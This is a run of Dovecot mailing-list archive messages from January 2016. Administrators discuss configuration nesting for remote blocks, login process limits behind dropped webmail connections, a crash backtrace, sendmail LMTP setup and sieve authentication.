5.7.1 > > sender address rejected: not owned by user steve; > from= to= > proto=ESMTP helo= > Please don't trim error messages; you remove important information. This is a postfix error, nothing to do with dovecot. Looks as if you've enabled reject_sender_login_mismatch, but the name doesn't exist in smtpd_sender_login_maps. The solution is to either remove the reject_sender_login_mismatch statement from postfix, or add the correct entry to smtpd_sender_login_maps. http://www.postfix.org/postconf.5.html#reject_sender_login_mismatch http://www.postfix.org/postconf.5.html#smtpd_sender_login_maps If you need more help with postfix, please send those questions to the postfix-users list rather than here. Be sure to include the requested information: http://www.postfix.org/DEBUG_README.html#mail -- Noel Jones From bc979 at lafn.org Tue Jan 19 02:40:24 2016 From: bc979 at lafn.org (Doug Hardie) Date: Mon, 18 Jan 2016 18:40:24 -0800 Subject: Multiple Domains Message-ID: <9870A0B0-97D2-4019-ACCF-43B57B147C43@lafn.org> I have Dovecot 2.2.19 running. However, one client has a rather unusual need. There are multiple domains that currently access their mail on the server. However, this on domain/client wants to use a different port for their users to access mail. Anyone on the standard port trying to download mail would receive an invalid user error (or whatever the proper error for that is). Likewise, only this clients users could access their mail on the new port. Is this possible? ? Doug From skdovecot at smail.inf.fh-brs.de Tue Jan 19 07:37:56 2016 From: skdovecot at smail.inf.fh-brs.de (Steffen Kaiser) Date: Tue, 19 Jan 2016 08:37:56 +0100 (CET) Subject: Multiple Domains In-Reply-To: <9870A0B0-97D2-4019-ACCF-43B57B147C43@lafn.org> References: <9870A0B0-97D2-4019-ACCF-43B57B147C43@lafn.org> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Mon, 18 Jan 2016, Doug Hardie wrote: > I have Dovecot 2.2.19 running. However, one client has a rather unusual > need. There are multiple domains that currently access their mail on > the server. However, this on domain/client wants to use a different > port for their users to access mail. Anyone on the standard port trying > to download mail would receive an invalid user error (or whatever the > proper error for that is). Likewise, only this clients users could > access their mail on the new port. Is this possible? try to use %a in passdb, I'm not sure if "These variables work only in Dovecot-auth" applies to this scenario, though. You could run two instances with different configs on the same host. - -- Steffen Kaiser -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEVAwUBVp3n1Hz1H7kL/d9rAQLD3wf9G7AOOBME/+3H5c7thSfNE0AuMRPZWam8 CdHfl5CTfe9s6enNqxEsOAp7frVFkNk6fZp0AnDFC05N1Uz5Z2Sr1AVC1kKOcrtB OzaZUctDJODmneowGZHUqLUC5gF6nmTrQx+z3vlXQU2YUk19tjSUhKKV8L0EfIX5 wWyOSmdSZQ17nGffFj2X5M/hV7K7GO/5/JuXnkTz+D0pqr9HxHNMRcXKzOidzxlF rZqVEAosx5MUmofWJkrA9mC/L1bL+1W2/00CZthhA9O74n8sTGD+sjpW3EBRKxWH TYLllG6K4GSAWuDEgDq7t8xN74Bv95jyt2/PuvQU77jnBKvi9aOaBw== =Ikjf -----END PGP SIGNATURE----- From mail at tomsommer.dk Tue Jan 19 10:44:17 2016 From: mail at tomsommer.dk (Tom Sommer) Date: Tue, 19 Jan 2016 11:44:17 +0100 Subject: [BUG] 2.2.21 Panic: file imap-client.c: line 841 (client_check_command_hangs): assertion failed: (!have_wait_unfinished || unfinished_count > 0) In-Reply-To: <0FFBFB86-9AFB-4A40-BCE8-76C187C9F93A@iki.fi> References: <568A4967.5060205@xinu.at> <568A4F80.3050807@dovecot.fi> <568A83BC.1080004@xinu.at> <4B95B278-8D9F-4CCF-BBF9-B518A385146B@iki.fi> <568A8893.1070504@xinu.at> <0FFBFB86-9AFB-4A40-BCE8-76C187C9F93A@iki.fi> Message-ID: <364b90926f843a116f9cbdf2d5a92fc9@tomsommer.dk> On 2016-01-04 19:21, Timo Sirainen wrote: > On 04 Jan 2016, at 12:54, Timo Sirainen wrote: >> >>> >>> On 04 Jan 2016, at 09:58, Florian Pritz wrote: >>> >>> On 04.01.2016 15:49, Timo Sirainen wrote: >>>> What about: >>>> >>>>>> #5 0x000000000041dde6 in client_check_command_hangs >>>>>> (client=0x2363450) at imap-client.c:841 >>>>>> cmd = 0x0 >>>>>> unfinished_count = 0 >>>>>> have_wait_unfinished = true >>>>>> __FUNCTION__ = "client_check_command_hangs" >>>> >>>> Either the new code that's detecting hanging-bugs is somehow broken >>>> or it's actually preventing a hang by crashing instead, in which >>>> case the bug is elsewhere.. >>> >>> Output below. >>> >>> Sending a private mail because I don't know what that session ID in >>> the >>> output can be used for. >> >> The session ID is harmless. Anyway, I'm having trouble figuring out >> how the crash could happen or how to reproduce it. According to the >> backtrace it seems like the client is running IDLE and then it sends >> "DONE\r\nNOOP\r\n" in same IP packet. But when doing that, I don't see >> a crash. Although during testing I did find several other bugs. Could >> you try patching and seeing if you still get the same crash after >> them? Or have you seen the crash after the initial few times? >> >> https://github.com/dovecot/core/commit/1ddf959a750f3860feff4ab3f0e908f32740978f.diff >> https://github.com/dovecot/core/commit/c8e9fa2ffa2566e75f0500808b1bc9bf5d9db024.diff >> https://github.com/dovecot/core/commit/15307c2c91854e766bd9fb095d611a29b3f7572e.diff >> https://github.com/dovecot/core/commit/c7801f830c7d2e7d340065cdd5a5c795b1726223.diff > > Actually, maybe this is enough: > > https://github.com/dovecot/core/commit/f136b0050b3125b466af73984177250b7ed1a3be.diff > > I still wasn't able to reproduce it though. Seeing this too, FYI: Jan 18 12:11:31 imap(info at XXXXX.dk): Panic: file imap-client.c: line 841 (client_check_command_hangs): assertion failed: (!have_wait_unfinished || unfinished_count > 0) Jan 18 12:11:32 imap(info at XXXXX.dk): Error: Raw backtrace: /usr/lib/dovecot/libdovecot.so.0 [0x3e2d67e07a] -> /usr/lib/dovecot/libdovecot.so.0 [0x3e2d67e0e6] -> /usr/lib/dovecot/libdovecot.so.0 [0x3e2d67d4ac] -> dovecot/imap [info at XXXXX.dk X.X.X.X NOOP] [0x4177a6] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_call_io+0x49) [0x3e2d690579] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run_internal+0xdc) [0x3e2d691c3c] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run+0xa9) [0x3e2d6906b9] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_run+0x38) [0x3e2d6909e8] -> /usr/lib/dovecot/libdovecot.so.0(master_service_run+0x13) [0x3e2d62e533] -> dovecot/imap [info at XXXXX.dk X.X.X.X NOOP](main+0x2bc) [0x42406c] -> /lib64/libc.so.6(__libc_start_main+0xf4) [0x3a62c1d9f4] -> dovecot/imap [info at XXXXX.dk X.X.X.X NOOP] [0x40c029] Jan 18 12:11:32 imap(info at XXXXX.dk): Fatal: master: service(imap): child 27828 killed with signal 6 (core dumps disabled) Can't apply patch, but will report back in 2.2.22 // Tom From nmilas at noa.gr Tue Jan 19 11:34:26 2016 From: nmilas at noa.gr (Nikolaos Milas) Date: Tue, 19 Jan 2016 13:34:26 +0200 Subject: remote | local blocks in protocol settings In-Reply-To: <56993447.7030101@noa.gr> References: <56993447.7030101@noa.gr> Message-ID: <569E1F42.2010503@noa.gr> On 15/1/2016 8:02 ??, Nikolaos Milas wrote: > Where can I find detailed documentation on how "remote" & "local" > blocks are used in protocol configuration to provide specific settings > for particular IPs/Names? > > I've been searching around (wiki2, Google) but I found very few > things. I also checked in the conf.d directory of the installation and > couldn't find anything. > > One useful thread was here: > > http://www.dovecot.org/list/dovecot/2010-June/050069.html > > where we can read about the "filter" hierarchy: > > protocol name { > remote { > local { > > but I would really appreciate reading more complete documentation > (and, hopefully, examples). > > Thanks, > Nick > Having received no reply, I tried using the above info by configuring: protocol imap { imap_client_workarounds = "delay-newmail" mail_plugins = quota imap_quota notify replication mail_max_userip_connections = 30 remote 127.0.0.1 { mail_max_userip_connections = 1000 } } but it didn't work: Fatal: Error in configuration file /etc/dovecot/dovecot.conf line 30: remote must not be under protocol - The idea is to allow more connections to webmail than to individual users. Am I thinking right? Can you please help me in finding how to configure things properly? By the way, the command "doveadm who" shows imap connections by users, but it does not seem to show webmail connections. Any advice on this? Thanks in advance, Nick From nmilas at noa.gr Tue Jan 19 12:08:43 2016 From: nmilas at noa.gr (Nikolaos Milas) Date: Tue, 19 Jan 2016 14:08:43 +0200 Subject: Increasing mail_max_userip_connections and sys resources In-Reply-To: References: Message-ID: <569E274B.7040603@noa.gr> On 15/1/2016 10:05 ??, Joseph Tam wrote: > ... > Pragmatically, I set it high enough so that it meets the need of most > clients, then deal with problems on a case by case basis > ... > Thank you very much Joseph for your quite useful advice and experience. Are you monitoring using "doveadm who"? >> 4. How can we set a different value to this directive for webmail >> connections (coming from 127.0.0.1, ::1)? > > I don't know if there is another method, but at the very least, you > can start another dovecot instance with another config file that does > specific things for 127.0.0.1. I tried using a remote block for webmail, but without success yet. You can see my other thread (asking on "remote" | "local" blocks). All the best, Nick From tss at iki.fi Tue Jan 19 13:31:28 2016 From: tss at iki.fi (Timo Sirainen) Date: Tue, 19 Jan 2016 15:31:28 +0200 Subject: remote | local blocks in protocol settings In-Reply-To: <569E1F42.2010503@noa.gr> References: <56993447.7030101@noa.gr> <569E1F42.2010503@noa.gr> Message-ID: <1FC66033-544E-4F24-B380-6C82937116CF@iki.fi> On 19 Jan 2016, at 13:34, Nikolaos Milas wrote: > > On 15/1/2016 8:02 ??, Nikolaos Milas wrote: > > Having received no reply, I tried using the above info by configuring: > > protocol imap { > imap_client_workarounds = "delay-newmail" > mail_plugins = quota imap_quota notify replication > mail_max_userip_connections = 30 > remote 127.0.0.1 { > mail_max_userip_connections = 1000 > } > } > > but it didn't work: > > Fatal: Error in configuration file /etc/dovecot/dovecot.conf line > 30: remote must not be under protocol Change it the other way around: remote 127.0.0.1 { protocol imap { ... } } > By the way, the command "doveadm who" shows imap connections by users, but it does not seem to show webmail connections. Any advice on this? Webmail probably just quickly opens and closes the connections, so there aren't any connections that are visible for more than a fraction of a second. From LX00340237 at TechMahindra.com Tue Jan 19 13:45:35 2016 From: LX00340237 at TechMahindra.com (Lucky .) Date: Tue, 19 Jan 2016 13:45:35 +0000 Subject: Configure the sendmail with the dovecot. Message-ID: <3953feb6b5174ebe982bfee6e20b171d@PUNEXCHMBX002.TechMahindra.com> Hi Dovecot team/All, First of all, I always appreciated your contribution & effort. Can you please provide the step for configure sendmail with dovecot. We could not understand the parameter which mention in sendmail.cf file. Please provide the parameter description as well as where need to change exactly in sendmail.cf file. Thanks and Regards, Lucky ============================================================================================================================ Disclaimer: This message and the information contained herein is proprietary and confidential and subject to the Tech Mahindra policy statement, you may review the policy at http://www.techmahindra.com/Disclaimer.html externally http://tim.techmahindra.com/tim/disclaimer.html internally within TechMahindra. ============================================================================================================================ From nmilas at noa.gr Tue Jan 19 14:04:44 2016 From: nmilas at noa.gr (Nikolaos Milas) Date: Tue, 19 Jan 2016 16:04:44 +0200 Subject: remote | local blocks in protocol settings In-Reply-To: <1FC66033-544E-4F24-B380-6C82937116CF@iki.fi> References: <56993447.7030101@noa.gr> <569E1F42.2010503@noa.gr> <1FC66033-544E-4F24-B380-6C82937116CF@iki.fi> Message-ID: <569E427C.7080304@noa.gr> On 19/1/2016 3:31 ??, Timo Sirainen wrote: > Change it the other way around: > > remote 127.0.0.1 { > protocol imap { > ... > } > } Thank you for your advice Timo (on "remote" blocks). So, the "remote" block should not have any parent (i.e. should not be included in any other block)? > Webmail probably just quickly opens and closes the connections, so there aren't any connections that are visible for more than a fraction of a second. On the real issue: I am trying to identify why (just recently) webmail users recently are increasingly facing the error: "ERROR : Connection dropped by imap-server". The docs I've read on webmail (squirrelmail) affirm your indication that webmail IMAP connections should be closing quickly, so these should not be the cause of the errors. A few days ago, when I increased the global value of "mail_max_userip_connections", I stopped seeing errors "Maximum number of connections from user+IP exceeded" in dovecot log. However, the above problem continues in webmail. Using the command "doveadm who" I see relatively few connections, so I am wondering what may be the cause. Any ideas will be appreciated! Thanks, Nick From ml+dovecot at valo.at Tue Jan 19 14:32:02 2016 From: ml+dovecot at valo.at (Christian Kivalo) Date: Tue, 19 Jan 2016 15:32:02 +0100 Subject: remote | local blocks in protocol settings In-Reply-To: <569E427C.7080304@noa.gr> References: <56993447.7030101@noa.gr> <569E1F42.2010503@noa.gr> <1FC66033-544E-4F24-B380-6C82937116CF@iki.fi> <569E427C.7080304@noa.gr> Message-ID: <8b8af1fdda933f7791c4e2d6ae852183@valo.at> >> Webmail probably just quickly opens and closes the connections, so >> there aren't any connections that are visible for more than a fraction >> of a second. > > On the real issue: I am trying to identify why (just recently) webmail > users recently are increasingly facing the error: "ERROR : Connection > dropped by imap-server". > > The docs I've read on webmail (squirrelmail) affirm your indication > that webmail IMAP connections should be closing quickly, so these > should not be the cause of the errors. > > A few days ago, when I increased the global value of > "mail_max_userip_connections", I stopped seeing errors "Maximum number > of connections from user+IP exceeded" in dovecot log. However, the > above problem continues in webmail. Don't know if that helps but you could try a local imapproxy like imapproxy from imappproxy.org this should speed up your webmail and reuse connections > Using the command "doveadm who" I see relatively few connections, so I > am wondering what may be the cause. > > Any ideas will be appreciated! > > Thanks, > Nick Christian From skdovecot at smail.inf.fh-brs.de Tue Jan 19 15:33:38 2016 From: skdovecot at smail.inf.fh-brs.de (Steffen Kaiser) Date: Tue, 19 Jan 2016 16:33:38 +0100 (CET) Subject: Configure the sendmail with the dovecot. In-Reply-To: <3953feb6b5174ebe982bfee6e20b171d@PUNEXCHMBX002.TechMahindra.com> References: <3953feb6b5174ebe982bfee6e20b171d@PUNEXCHMBX002.TechMahindra.com> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Tue, 19 Jan 2016, Lucky . wrote: > Can you please provide the step for configure sendmail with dovecot. > > We could not understand the parameter which mention in sendmail.cf file. Please provide the parameter description as well as where need to change exactly in sendmail.cf file. Do you use SMTP AUTH already? Do you use system or virtual users? - -- Steffen Kaiser -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEVAwUBVp5XUnz1H7kL/d9rAQLYqQgAoM0/tt3w1tIEavzGwdkAN/5E1RUvGxkp Y8faBHmSI/nTkmr0KAC/6K4E+RnKJMCHU8rRTK5HNE1BGZbuJLLrvEUZfO7XxZZi oED1AV5Ug//cJw4JqtkJQp0k6wSPOp4lJrz+M7CRu4TV/rRGZvj7MtjaS6KI++xg cAw9cp1bGs9Lddw9dZcylxPdutPKPZmnsAtJfwqux9BH1sAyCiIabn7kis0xSaNZ eLi5PQtqjvLcrBANTtfeNQYsw1z4SUuARkO4B89rqAvR9XGpJIeEMvAwl/LHaeeW g6Nyah3mrbdav8TdyYV4MAstBUyluoT3f9iM+uznbXS0L4gwMnJcPw== =v2BC -----END PGP SIGNATURE----- From tss at iki.fi Tue Jan 19 16:34:45 2016 From: tss at iki.fi (Timo Sirainen) Date: Tue, 19 Jan 2016 18:34:45 +0200 Subject: remote | local blocks in protocol settings In-Reply-To: <569E427C.7080304@noa.gr> References: <56993447.7030101@noa.gr> <569E1F42.2010503@noa.gr> <1FC66033-544E-4F24-B380-6C82937116CF@iki.fi> <569E427C.7080304@noa.gr> Message-ID: <5D4A9D27-AD54-4478-AC91-CE3DD578EB14@iki.fi> > On 19 Jan 2016, at 16:04, Nikolaos Milas wrote: > > On 19/1/2016 3:31 ??, Timo Sirainen wrote: > >> Change it the other way around: >> >> remote 127.0.0.1 { >> protocol imap { >> ... >> } >> } > > Thank you for your advice Timo (on "remote" blocks). > > So, the "remote" block should not have any parent (i.e. should not be included in any other block)? I just updated the error messages to be a bit more understandable: https://github.com/dovecot/core/commit/0df899feada1f406122d7658894c77eeb10225a3 The nesting must be in this order or it'll give an error: local 127.0.0.1 { local_name foo { remote 127.0.0.1 { protocol imap { } } } } >> Webmail probably just quickly opens and closes the connections, so there aren't any connections that are visible for more than a fraction of a second. > > On the real issue: I am trying to identify why (just recently) webmail users recently are increasingly facing the error: "ERROR : Connection dropped by imap-server". 1) Is there anything in Dovecot's error logs? For example any warnings about reaching a process limit? 2) If you can't find anything, try to find the matching webmail connection's disconnection message from Dovecot logs and see what it says the reason for disconnection was. > A few days ago, when I increased the global value of "mail_max_userip_connections", I stopped seeing errors "Maximum number of connections from user+IP exceeded" in dovecot log. However, the above problem continues in webmail. If that is reached, Dovecot logs it as the reason for the disconnection. From nmilas at noa.gr Tue Jan 19 18:23:00 2016 From: nmilas at noa.gr (Nikolaos Milas) Date: Tue, 19 Jan 2016 20:23:00 +0200 Subject: remote | local blocks in protocol settings In-Reply-To: <5D4A9D27-AD54-4478-AC91-CE3DD578EB14@iki.fi> References: <56993447.7030101@noa.gr> <569E1F42.2010503@noa.gr> <1FC66033-544E-4F24-B380-6C82937116CF@iki.fi> <569E427C.7080304@noa.gr> <5D4A9D27-AD54-4478-AC91-CE3DD578EB14@iki.fi> Message-ID: <569E7F04.3060006@noa.gr> On 19/1/2016 6:34 ??, Timo Sirainen wrote: > The nesting must be in this order or it'll give an error: > > local 127.0.0.1 { > local_name foo { > remote 127.0.0.1 { > protocol imap { > } > } > } > } Please allow me to ask for clarifications: local --> Local Dovecot Server IP address local_name --> Connecting client username remote --> Connecting client ip address Please correct accordingly, if necessary. Thanks! > 1) Is there anything in Dovecot's error logs? For example any warnings about reaching a process limit? > > 2) If you can't find anything, try to find the matching webmail connection's disconnection message from Dovecot logs and see what it says the reason for disconnection was. I just found in Dovecot logs: dovecot: master: Warning: service(imap-login): process_limit (100) reached, client connections are being dropped This must be it! So, I guess I could add to my config, for example: service imap-login { service_count = 1 vsz_limit = 64 M + process_limit = 500 + process_min_avail = 2 } Sounds right? (Ref.: http://wiki.dovecot.org/LoginProcess) By the way is there a way to show/monitor (e.g. using doveadm) the current number of login processes used? Thanks for everything! Nick From tss at iki.fi Tue Jan 19 18:54:15 2016 From: tss at iki.fi (Timo Sirainen) Date: Tue, 19 Jan 2016 20:54:15 +0200 Subject: remote | local blocks in protocol settings In-Reply-To: <569E7F04.3060006@noa.gr> References: <56993447.7030101@noa.gr> <569E1F42.2010503@noa.gr> <1FC66033-544E-4F24-B380-6C82937116CF@iki.fi> <569E427C.7080304@noa.gr> <5D4A9D27-AD54-4478-AC91-CE3DD578EB14@iki.fi> <569E7F04.3060006@noa.gr> Message-ID: > On 19 Jan 2016, at 20:23, Nikolaos Milas wrote: > > On 19/1/2016 6:34 ??, Timo Sirainen wrote: > >> The nesting must be in this order or it'll give an error: >> >> local 127.0.0.1 { >> local_name foo { >> remote 127.0.0.1 { >> protocol imap { >> } >> } >> } >> } > > Please allow me to ask for clarifications: > > local --> Local Dovecot Server IP address Yes. > local_name --> Connecting client username No, this is used only when TLS SNI extension is used. It expands to the TLS SNI hostname. Typically this is only used to configure per-host TLS certificates. > remote --> Connecting client ip address Yes. > Please correct accordingly, if necessary. Thanks! > >> 1) Is there anything in Dovecot's error logs? For example any warnings about reaching a process limit? >> >> 2) If you can't find anything, try to find the matching webmail connection's disconnection message from Dovecot logs and see what it says the reason for disconnection was. > > I just found in Dovecot logs: > > dovecot: master: Warning: service(imap-login): process_limit (100) reached, client connections are being dropped > > This must be it! So, I guess I could add to my config, for example: > > service imap-login { > service_count = 1 > vsz_limit = 64 M > + process_limit = 500 > + process_min_avail = 2 > } > > Sounds right? (Ref.: http://wiki.dovecot.org/LoginProcess) Yes. > By the way is there a way to show/monitor (e.g. using doveadm) the current number of login processes used? Not beyond the standard tools: ps aux | grep imap-login | wc -l From jtam.home at gmail.com Tue Jan 19 19:32:01 2016 From: jtam.home at gmail.com (Joseph Tam) Date: Tue, 19 Jan 2016 11:32:01 -0800 (PST) Subject: remote | local blocks in protocol settings In-Reply-To: References: Message-ID: Nikolaos Milas wrote: >> ... >> Pragmatically, I set it high enough so that it meets the need of most >> clients, then deal with problems on a case by case basis >> ... > > Thank you very much Joseph for your quite useful advice and experience. > Are you monitoring using "doveadm who"? No, I occasionally look at log entries for "Maximum number of connections from user+IP exceeded" errors. I may look at the output of "doveadm who" if I want to see a breakdown of how many clients a user is using, or just getting an overall view of how my users are spread out. >>> 4. How can we set a different value to this directive for webmail >>> connections (coming from 127.0.0.1, ::1)? >> >> I don't know if there is another method, but at the very least, you >> can start another dovecot instance with another config file that does >> specific things for 127.0.0.1. > > I tried using a remote block for webmail, but without success yet. If you can get that working, that would be the better method. Running 2 different instances with 2 different config files might come in handy for cases where you have very different policies between localhost/remote networks. Joseph Tam From nmilas at noa.gr Tue Jan 19 22:00:45 2016 From: nmilas at noa.gr (Nikolaos Milas) Date: Wed, 20 Jan 2016 00:00:45 +0200 Subject: remote | local blocks in protocol settings In-Reply-To: References: <56993447.7030101@noa.gr> <569E1F42.2010503@noa.gr> <1FC66033-544E-4F24-B380-6C82937116CF@iki.fi> <569E427C.7080304@noa.gr> <5D4A9D27-AD54-4478-AC91-CE3DD578EB14@iki.fi> <569E7F04.3060006@noa.gr> Message-ID: <569EB20D.9050004@noa.gr> On 19/1/2016 8:54 ??, Timo Sirainen wrote: > No, this is used only when TLS SNI extension is used. It expands to the TLS SNI hostname. Typically this is only used to configure per-host TLS certificates. So, when TLS SNI extension is not used, we can skip the entire block? Like: local 127.0.0.1 { remote 127.0.0.1 { protocol imap { ... } } } Is this acceptable? Thanks, Nick From bpk678 at gmail.com Wed Jan 20 01:15:34 2016 From: bpk678 at gmail.com (Brendan Kearney) Date: Tue, 19 Jan 2016 20:15:34 -0500 Subject: sieve and authentication Message-ID: <569EDFB6.6060905@gmail.com> when i telnet to the sieve instance running with dovecot, i see that SASL is supported, but i cannot get thunderbird to connect to the sieve instance. it seems that i am not providing the right auth methods for sieve to work. "IMPLEMENTATION" "Dovecot Pigeonhole" "SIEVE" "fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date index ihave duplicate" "NOTIFY" "mailto" "SASL" "" "STARTTLS" "VERSION" "1.0" OK "Dovecot ready." i am setup with gssapi and pain auth mechanisms and want to leverage Kerberos / SASL for authentication. what do i need to enable (and where) to get sieve working in a MUA? i tried adding the digest-md5 mechanism to the auth_mechanisms directive, but that does not work with Kerberos (or maybe my implementation of Kerberos in my environment). any ideas where i should be looking? thanks brendan From timc at slowb.ro Wed Jan 20 04:24:13 2016 From: timc at slowb.ro (Tim) Date: Wed, 20 Jan 2016 15:24:13 +1100 Subject: sieve and authentication In-Reply-To: <569EDFB6.6060905@gmail.com> References: <569EDFB6.6060905@gmail.com> Message-ID: <569F0BED.3000304@slowb.ro> On 20/01/16 12:15, Brendan Kearney wrote: > when i telnet to the sieve instance running with dovecot, i see that > SASL is supported, but i cannot get thunderbird to connect to the > sieve instance. it seems that i am not providing the right auth > methods for sieve to work. > > "IMPLEMENTATION" "Dovecot Pigeonhole" > "SIEVE" "fileinto reject envelope encoded-character vacation > subaddress comparator-i;ascii-numeric relational regex imap4flags copy > include variables body enotify environment mailbox date index ihave > duplicate" > "NOTIFY" "mailto" > "SASL" "" > "STARTTLS" > "VERSION" "1.0" > OK "Dovecot ready." > > i am setup with gssapi and pain auth mechanisms and want to leverage > Kerberos / SASL for authentication. what do i need to enable (and > where) to get sieve working in a MUA? i tried adding the digest-md5 > mechanism to the auth_mechanisms directive, but that does not work > with Kerberos (or maybe my implementation of Kerberos in my environment). > > any ideas where i should be looking? > > thanks > > brendan You can't use the Sieve plugin in the addon store. (Its buggy) Test with the latest one on github. https://github.com/thsmi/sieve/blob/master/nightly/README.md Cheers, From bpk678 at gmail.com Wed Jan 20 12:49:36 2016 From: bpk678 at gmail.com (brendan kearney) Date: Wed, 20 Jan 2016 07:49:36 -0500 Subject: sieve and authentication In-Reply-To: <569F0BED.3000304@slowb.ro> References: <569EDFB6.6060905@gmail.com> <569F0BED.3000304@slowb.ro> Message-ID: While that may be true, the RoundCubeMail plugin cannot talk to sieve, either. On Jan 19, 2016 11:24 PM, "Tim" wrote: > On 20/01/16 12:15, Brendan Kearney wrote: > >> when i telnet to the sieve instance running with dovecot, i see that SASL >> is supported, but i cannot get thunderbird to connect to the sieve >> instance. it seems that i am not providing the right auth methods for >> sieve to work. >> >> "IMPLEMENTATION" "Dovecot Pigeonhole" >> "SIEVE" "fileinto reject envelope encoded-character vacation subaddress >> comparator-i;ascii-numeric relational regex imap4flags copy include >> variables body enotify environment mailbox date index ihave duplicate" >> "NOTIFY" "mailto" >> "SASL" "" >> "STARTTLS" >> "VERSION" "1.0" >> OK "Dovecot ready." >> >> i am setup with gssapi and pain auth mechanisms and want to leverage >> Kerberos / SASL for authentication. what do i need to enable (and where) >> to get sieve working in a MUA? i tried adding the digest-md5 mechanism to >> the auth_mechanisms directive, but that does not work with Kerberos (or >> maybe my implementation of Kerberos in my environment). >> >> any ideas where i should be looking? >> >> thanks >> >> brendan >> > > You can't use the Sieve plugin in the addon store. (Its buggy) > > Test with the latest one on github. > > https://github.com/thsmi/sieve/blob/master/nightly/README.md > > Cheers, > From LX00340237 at TechMahindra.com Wed Jan 20 13:06:07 2016 From: LX00340237 at TechMahindra.com (Lucky .) Date: Wed, 20 Jan 2016 13:06:07 +0000 Subject: Configure the sendmail with the dovecot. In-Reply-To: References: <3953feb6b5174ebe982bfee6e20b171d@PUNEXCHMBX002.TechMahindra.com> Message-ID: <73258f8fbb834f39be5085a5a14688cb@PUNEXCHMBX002.TechMahindra.com> Hi Dovecot Team, Sorry for late reply. we have SMTP AUTH as well as we are working on virtual user. Please provide any solution so that we can proceed further. -----Original Message----- From: dovecot [mailto:dovecot-bounces at dovecot.org] On Behalf Of Steffen Kaiser Sent: 19 January 2016 21:04 To: Dovecot Mailing List Cc: dovecot-news at dovecot.org Subject: Re: Configure the sendmail with the dovecot. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Tue, 19 Jan 2016, Lucky . wrote: > Can you please provide the step for configure sendmail with dovecot. > > We could not understand the parameter which mention in sendmail.cf file. Please provide the parameter description as well as where need to change exactly in sendmail.cf file. Do you use SMTP AUTH already? Do you use system or virtual users? - -- Steffen Kaiser -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEVAwUBVp5XUnz1H7kL/d9rAQLYqQgAoM0/tt3w1tIEavzGwdkAN/5E1RUvGxkp Y8faBHmSI/nTkmr0KAC/6K4E+RnKJMCHU8rRTK5HNE1BGZbuJLLrvEUZfO7XxZZi oED1AV5Ug//cJw4JqtkJQp0k6wSPOp4lJrz+M7CRu4TV/rRGZvj7MtjaS6KI++xg cAw9cp1bGs9Lddw9dZcylxPdutPKPZmnsAtJfwqux9BH1sAyCiIabn7kis0xSaNZ eLi5PQtqjvLcrBANTtfeNQYsw1z4SUuARkO4B89rqAvR9XGpJIeEMvAwl/LHaeeW g6Nyah3mrbdav8TdyYV4MAstBUyluoT3f9iM+uznbXS0L4gwMnJcPw== =v2BC -----END PGP SIGNATURE----- ============================================================================================================================ Disclaimer: This message and the information contained herein is proprietary and confidential and subject to the Tech Mahindra policy statement, you may review the policy at http://www.techmahindra.com/Disclaimer.html externally http://tim.techmahindra.com/tim/disclaimer.html internally within TechMahindra. ============================================================================================================================ From skdovecot at smail.inf.fh-brs.de Wed Jan 20 14:28:35 2016 From: skdovecot at smail.inf.fh-brs.de (Steffen Kaiser) Date: Wed, 20 Jan 2016 15:28:35 +0100 (CET) Subject: Configure the sendmail with the dovecot. In-Reply-To: <73258f8fbb834f39be5085a5a14688cb@PUNEXCHMBX002.TechMahindra.com> References: <3953feb6b5174ebe982bfee6e20b171d@PUNEXCHMBX002.TechMahindra.com> <73258f8fbb834f39be5085a5a14688cb@PUNEXCHMBX002.TechMahindra.com> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wed, 20 Jan 2016, Lucky . wrote: > Sorry for late reply. we have SMTP AUTH as well as we are working on virtual user. Please provide any solution so that we can proceed further. I have this in my sendmail.cf Mlocal, P=[IPC], F=lsDFMA5:/|@qPSXnz9u, S=EnvFromSMTP/HdrFromL, R=EnvToL/HdrToL, T=DNS/RFC822/SMTP, A=FILE /var/run/dovecot2.2/lmtp Note the missing w flag, which means, that no .forward files are possible anymore. Also, sendmail can no longer verify the existance of final users via getpwnam(), you have to verify them by other ways. You have to determine yourself, if you like the u flag. See op.me section 5.4 This should be the correct .m4 syntax: FEATURE(`local_lmtp',`[IPC]',`FILE /var/run/dovecot2.2/lmtp')dnl MODIFY_MAILER_FLAGS(`LOCAL', `+u')dnl MODIFY_MAILER_FLAGS(`LOCAL', `-w')dnl MAILER_DEFINITIONS MAILER(`local')dnl For Dovecot LDA setups see: http://wiki2.dovecot.org/LDA/Sendmail > -----Original Message----- > From: dovecot [mailto:dovecot-bounces at dovecot.org] On Behalf Of Steffen Kaiser > Sent: 19 January 2016 21:04 > To: Dovecot Mailing List > Cc: dovecot-news at dovecot.org > Subject: Re: Configure the sendmail with the dovecot. > > ---------------GPG signed/encrypted data------------------ > On Tue, 19 Jan 2016, Lucky . wrote: > >> Can you please provide the step for configure sendmail with dovecot. >> >> We could not understand the parameter which mention in sendmail.cf file. Please provide the parameter description as well as where need to change exactly in sendmail.cf file. > > Do you use SMTP AUTH already? > Do you use system or virtual users? > > -- > Steffen Kaiser > ---------------Output of GPG------------------ > gpg: Signature made Tue 19 Jan 2016 04:33:38 PM CET using RSA key ID 0BFDDF6B > gpg: Good signature from "Steffen Kaiser " > > > ============================================================================================================================ > Disclaimer: This message and the information contained herein is proprietary and confidential and subject to the Tech Mahindra policy statement, you may review the policy at http://www.techmahindra.com/Disclaimer.html externally http://tim.techmahindra.com/tim/disclaimer.html internally within TechMahindra. > ============================================================================================================================ > > - -- Steffen Kaiser -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEVAwUBVp+Zk3z1H7kL/d9rAQJgDwf+MyPsJ5t9oTbn0L+7+S3/ZGCQBu83fPGv XWAKnCOWP645h5fmPYPtXL9z0zqKp8cg85TbcjJ81FEJ3faDsxj5iUdwcUwainSl 